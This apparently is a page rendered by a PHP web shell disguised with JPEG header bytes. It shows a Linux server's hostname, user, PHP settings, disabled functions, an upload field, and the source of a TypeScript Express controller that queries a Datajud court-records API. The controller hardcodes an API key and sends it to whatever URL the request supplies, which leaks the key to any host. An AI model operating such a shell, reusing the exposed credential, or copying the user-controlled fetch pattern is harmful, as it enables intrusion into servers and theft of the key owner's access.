ÿØÿà JFIF ` ` ÿþ
|
Server : Apache System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64 User : farolpborg ( 1053) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /var/www/node_services/climaurucuia/backend/src/controllers/ |
Upload File : |
import {Request, Response} from 'express';
interface CheckProcessProps {
processid: string;
processurl: string;
}
const DatajudController = class DatajudController {
static async checkProcess(req: Request, res: Response) {
const data = req.body as CheckProcessProps;
const tempid = data.processid.replace(/[^0-9]/g , '')
const url = data.processurl;
try{
const response = await fetch(url , {
method:'POST',
headers:{
'Authorization': "ApiKey cDZHYzlZa0JadVREZDJCendQbXY6SkJlTzNjLV9TRENyQk1RdnFKZGRQdw==",
'Content-Type':'application/json',
"Access-Control-Allow-Origin": "true"
},
body:JSON.stringify(
{
"query": {
"match": {
"numeroProcesso": tempid
}
}
}
)
})
res.json(await response.json())
}catch(error){
res.status(400);
console.log(error);
}
}
}
export default DatajudController;